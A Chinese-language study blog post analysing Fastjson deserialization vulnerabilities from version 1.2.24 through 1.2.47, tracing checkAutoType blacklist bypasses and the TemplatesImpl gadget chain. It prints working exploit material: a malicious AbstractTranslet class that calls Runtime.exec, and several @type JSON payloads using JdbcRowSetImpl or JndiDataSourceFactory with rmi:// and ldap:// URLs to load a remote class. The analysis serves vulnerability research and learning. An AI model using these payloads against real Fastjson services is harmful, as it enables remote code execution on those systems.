全版本fastjson反序列化漏洞分析

记录学习过程,强烈建议仅仅做参考。学习请移至su18,su18yyds.

目录

Fastjson简介

Fastjson是ali的开源JSON解析库,他可以解析JSON格式的字符串。支持将javabean序列化为JSON字符串,童也支持将JSON字符串反序列化为Java Bean。

Fastjson使用

将json反序列化为类

常用方法parse()、parseObject()、parseArray() 。每个方法又有几个重载方法,带有不同参数,具体请查看源码。其中: 类的类型:java.lang.reflect.Type。可以使用@type指定反序列化任意类或者说此属性指定json数据应该被反序列化为什么类型的对象 fastjson功能要点:

1. 使用JSON.parse(jsonString)和JSON.parseObject(jsonString,Target.class),两者调用链一致,parse会在jsonString中解析字符串获取@type指定的类,parseObject会直接使用参数中的class
2. 使用JSON.parseObject(jsonString)将会返回JSONObeject对象,并且类中的set&&get方法都会被调用(指定@type的情况下)
3.fastjson在为类属性寻找get/set方法时,调用com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_|-字符串,也就是说就算字段名为_ag_e,getter方法为getAge(),fastjson也可以找到,

Fastjson<=1.2.24反序列化漏洞

漏洞介绍

影响版本:fastjson <= 1.2.24 描述:fastjson默认使用@type指定反序列化任意类,攻击者可以通过 在Java常见环境中 寻找能够构造恶意类的方法,通过反序列化过程中调用的getter|setter方法 和 目标成员变量的注入 来达到传参的目的,最后组成利用链。

fastjson简单体验
  1. 新建maven项目,引入fastjson依赖

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.23</version>
        </dependency>
    
  2. 先建一个javabean User.java

    /**
     * @author: 秦始皇
     * @date: 10/20/22 15:56
     * @description:
     */
    public class User {
        private String name;
    
        public String getName() {
            System.out.println("getName is running ...");
            return name;
        }
    
        public void setName(String name) {
            System.out.println("setName is running ...");
            this.name = name;
        }
    
        @Override
        public String toString() {
            return "User{" +
                    "name='" + name + '\'' +
                    '}';
        }
    }
    
  3. 用fastjson将json数据反序列化为对象

    import com.alibaba.fastjson.JSON;
    
    /**
     * @author: 秦始皇
     * @date: 10/20/22 15:58
     * @description:
     */
    public class Test {
        public static void main(String[] args) {
            String json = "{\"@type\":\"User\", \"name\":\"秦始皇\"}";
            Object obj = JSON.parse(json);
            System.out.println(obj);
    
    
        }
    }
    
  4. 结果

    setName is running ...
    User{name='秦始皇'}
    

    @type起的作用:上面代码(Test)的obj对象是Object类型的对象,但是从输出结果来看是User类型的对象。 terminal输出setName is running,说明整个过程中setName方法也被调用了。

漏洞分析

rmi/ldap利用 java版本限制,因为java官方觉得让服务去请求远程的类的确是一个很危险的操作,所以在后来的版本中默认将这个功能关掉了。

  • 基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
  • 基于ldap的利用方式:适用jdk版本:JDK 11.0.18u1917u2016u211之前
TemplatesImpl

TemplatesImpl类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了Serialize接口,因此可以被反序列化。

类中的getOutputProperties()方法是类成员变量 _outPutProperties的getter方法,它调用了newTransformer()方法 image-20221213155356078 newTransformer()方法又调用了getTransletInstance()方法 image-20221213155520765 这个方法中存在一个 _class,是一个Class类型的数组,数组下标为 _transletIndex的类会在getTransletInstance()方法中使用newInstance()实例化 image-20221213155901998 这样调用链就有点眉目了,所以现在看 _class是否可控。findusages有三处调用 image-20221213160450615 看下defineTransletClasses()的逻辑 _bytecodes非空,然后调用自定义classload加载 _bytecode中的byte[],并且如果这个类的父类为ABSTRACT_TRANSLET,就会将类成员属性的 _transletIndex设置为当前循环中的标记位,如果是第一次调用,就是 _class[0],如果父类不是这个类则抛出异常。 image-20221213161332002

这样一条完整的链揪出来了

构造一个TemplatesImpl类的反序列化字符串,其中 _bytecodes是我们构造的恶意类的字节码,而且他的父类是AbstractTranslat,最终这个类会被加载并使用newInstance()实例化 返序列化过程中,由于getter方法getOutputProperties()满足条件,会被fastjson调用,这个方法触发了整个利用链getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->EvilClass.newInstance

为了满足漏洞点触发之间不退出,还需满足 _name非空,_factory非空。有些私有变量没有setter方法,需要使用Feature.SupportNonPublicField

最终payload

String json8 = "{\n" +
        "    \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
        "    \"_bytecodes\": [\""+code+"\"],\n" +
        "    \"_name\": \"klear\",\n" +
        "    \"_tfactory\": {},\n" +
        "    \"_outputProperties\": { },\n" +
        "}";
###拿到恶意类字节码
        String code = Base64.getEncoder().encodeToString(Repository.lookupClass(xxxx.class).getBytes());
        System.out.println(code);
###恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
 * @author: 秦始皇
 * @date: 12/13/22 14:39
 * @description:
 */
public class vulclassTempl extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public vulclassTempl() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class cls = Class.forName("java.lang.Runtime");
        Method method = cls.getMethod("getRuntime",null);
        Object obs = method.invoke(null,null);
        Method method1 = obs.getClass().getMethod("exec",String.class);
        method1.invoke(obs,"open -a Calculator.app");
    }

    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
        vulclassTempl vulclassTempl = new vulclassTempl();

    }
}

1.2.25<=Fastjson<=1.2.41

修复

引入了checkAutoType安全机制,默认关闭,不能反序列化任意类。打开checkAutoType后,基于内置黑名单过滤。 image-20221114110400340

逻辑

看看checkAutoType的逻辑判断流程。

  1. 如果开启autoType,则会先校验白名单,白名单存在就使用typeUtils.loadClass加载,再匹配黑名单 image-20221114111645938
  2. 如果关闭autoType,则会先匹配黑名单,再匹配白名单
  3. 如果开启autoType,使用typeUtils.loadClass加载
绕过(需开启AutoTypeSupport)

这里就出现逻辑问题了,在开启autoType时,只要黑名单匹配不到就可以使用typeUtils.loadClass加载 再看看typeUtils.loadClass 如果className是以L开头,分号结尾的话直接删掉。

image-20221114114525360

所以说@type就出来了,比如jdbc链-> Lcom.sun.rowset.JdbcRowSetImpl;

debug时需要开启autoType: ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{
		"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"rmi://127.0.0.1:1099/vulClass",
    "autoCommit":true
}

Fastjson1.2.42

修复

使用hash设置黑名单,防止安全研究人员对后续版本进行攻击;对之前使用符号绕过黑名单校验进行了修复 image-20221114143656402 image-20221114143249113

逻辑

checkAutoType中,如果匹配到className的第一个字符是L和最后一个字符是分号的话,使用substring截取className的第二位到倒数第二位

绕过(需开启AutoTypeSupport)

因为使用substring截取className的第二位到倒数第二位,双写 L和分号 即可绕过

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"rmi://127.0.0.1:1099/VulClass",
    "autoCommit":true
}

1.2.25<=Fastjson<=1.2.43

修复

1.2.43版本主要修复42版本中双写绕过的问题。在checkAutoType中添加了 如果className开头出现了两个LL将会抛出异常 image-20221114163128525

逻辑

L;被限制了,但是[也参与了处理,讲道理[也可以绕过黑名单用。由于1.2.42及以后判断用hash写的,不便于观察,因此使用1.2.25debug。 image-20221115083630236 很明显@type值最前面添加[即可,添加后提示第46个字符缺少[ image-20221115084717042 添加后提示第50个字符缺少{ image-20221115084846839

绕过(需开启AutoTypeSupport)

payload

{ 
  "@type": "[com.sun.rowset.JdbcRowSetImpl"[,
  {"dataSourceName": "ldap://127.0.0.1:1389/VulClass",
  "autoCommit": true"
}

Fastjson-1.2.44

修复

对上个版本中使用[绕过的问题进行了修复,到这个版本字符绕过黑名单的方式暂时告一段落 image-20221115101443630

1.2.25<=Fastjson<=1.2.45

黑名单:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

绕过(需开启AutoTypeSupport)

payload

{ 
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{"data_source":"ldap://127.0.0.1:1389/VulClass"}
}

1.2.25<=Fastjson<=1.2.47

影响版本
  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
分析

版本:fastjson1.2.47 问题还是在com.alibaba.fastjson.parser.ParserConfig#checkAutoType,前面的代码还是对[,L,;的过滤,紧接着为是否开启autoTypeSupport 1.2.47校验逻辑

if (this.autoTypeSupport || expectClass != null) { ##如果开启了autoTyoeSupport
                    long hash = h3;
                    for(int i = 3; i < className.length(); ++i) {
                        hash ^= (long)className.charAt(i);
                        hash *= 1099511628211L;
                        ##先白名单
                        if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            if (clazz != null) {
                                return clazz;
                            }
                        }
                        ##再黑名单,如果匹配到黑名单并且缓存中没有这个类的话抛出异常
                        if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }
                }

if (clazz == null) {
    ##在TypeUtils.mappings中寻找缓存的class
    clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
    ##在deserializers中寻找这个类
    clazz = this.deserializers.findClass(typeName);
}
##如果clazz有了值则返回clazz,如果没有 抛出异常
if (clazz != null) {
    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    } else {
        return clazz;
    }
} else {
	  ##autoTypeSupport没开启的情况
    if (!this.autoTypeSupport) {
        long hash = h3;

        for(int i = 3; i < className.length(); ++i) {
            char c = className.charAt(i);
            hash ^= (long)c;
            hash *= 1099511628211L;
            ##先匹配黑名单,如果匹配到直接抛出异常
            if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                if (clazz == null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                }

                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }

                return clazz;
            }
        }
    }

1.2.32校验逻辑 image-20221116090226996 这里出现了逻辑问题

  1. 开启autoTypeSupport时:先匹配白名单,匹配到的话直接return clazz;如果没有匹配到则匹配黑名单,当匹配到黑名单并且mappings中没有这个类的缓存的话才会抛出异常。对比1.2.32的校验逻辑,只要匹配到黑名单就会抛出异常。因此1.2.25-1.2.32版本受autoTypeSupport的影响
  2. 不开启autoTypeSupport时,直接匹配黑名单,匹配到的话抛出异常,后面代码不执行,所以要在判断前下功夫。

判断没有开启autoTypeSupport前有三个if,怎样在这三步中将恶意类加载进去呢。 deserializers:无法写入值,用不了。 TypeUtils.getClassFromMapping(typeName): 从TypeUtils.mappings中取值,他是一个ConcurrentMap类型的对象 image-20221116095029750 image-20221116095306438 能向mappings中赋值的方法 image-20221116095709105 image-20221116095740236 其中,addBaseClassMappings()无入参,无法控制;看下loadclass:

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            ##如果clazz为空
            } else {
                try {
                		##如果classLoader非空并且cache为true时,使用类加载器加载并缓存到mappings中
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        if (cache) {
                            mappings.put(className, clazz);
                        }

                        return clazz;
                    }
                } catch (Throwable var7) {
                    var7.printStackTrace();
                }
								##如果失败或者没指定classLoader 并且cache为true的话,使用当前线程的contextClassLoader来加载并缓存到mappings中
                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        if (cache) {
                            mappings.put(className, clazz);
                        }

                        return clazz;
                    }
                } catch (Throwable var6) {
                }
								##如果还是失败的话,反射获取class对象并放入mappings中
                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var5) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }

所以只要能控制这三个参数,就可以将任意类写入mappings。loadClass有三个重载方法 image-20221116103633697 找三个方法在哪里被调用,再看看能否被控制。(下载源码包) 最终定位到com.alibaba.fastjson.serializer.MiscCodec#deserialze.文件内定位loadClass,发现当strVal有值并且clazz为Class.class时才会进入if,然后类加载并缓存到mappings image-20221116110811152 image-20221116110440251 strVal值怎么获取的呢,原来是json解析val中的内容,然后向上转型成String image-20221116111130847 原来是json解析val中的内容,然后向上转型成String。 这样一条调用链就完整了,但如何进入if (parser.resolveStatus == 2) {}呢、。 构造一条json调试试试

String json = "{\"@type\":\"java.lang.Class\"," +
              "\"val\":\"vulClass\"}";

调用parse进行json解析 image-20221116114102686 调用checkAutoType检查autoTypeSupport deserializers在初始化时会加载Class.class,所以用findClass会找到,然后return clazz。越过了下面的if (!this.autoTypeSupport) {} image-20221116115241919 image-20221116115130950 autoTypeSupport检测完后,现在clazz不为空,DedaultHSONParser#parseObject中设置setResolveStatus为2 image-20221116120032928 根据clazz类型分配deserialzer,Class类型由MiscCodec.deserialze()处理 image-20221116154433579 进去MiscCodec跟一下,json解析val中的内容并赋值给objVal image-20221116154827313 将objVal转化为String类型并赋值给strVal image-20221116155118881 判断clazz是否为Class.class,是的话加载strVal这个类并缓存到mappings image-20221116155220106 现在恶意类已经被加载到mappings,再次用恶意类进行@type请求时就可以绕过。所以payload 以上为第一个test解析过程;test2解析时很简单了,mappings中有了缓存,直接从缓存中getClass image-20221116161423207 然后return clazz -> setResolveStatus(2) -> 根据clazz类型分配deserialzer ......参考之前版本的反序列化流程

payload
{
    "test": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "test2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:1389/VulClass",
        "autoCommit": true
    }
}

Fastjsn<=1.2.68

1.2.76<=Fastjson<=1.2.83

  • 依赖groovy

推荐

https://github.com/safe6Sec/Fastjson

mvn dependency:resolve -Dclassifier=sources

updatedupdated2023-04-122023-04-12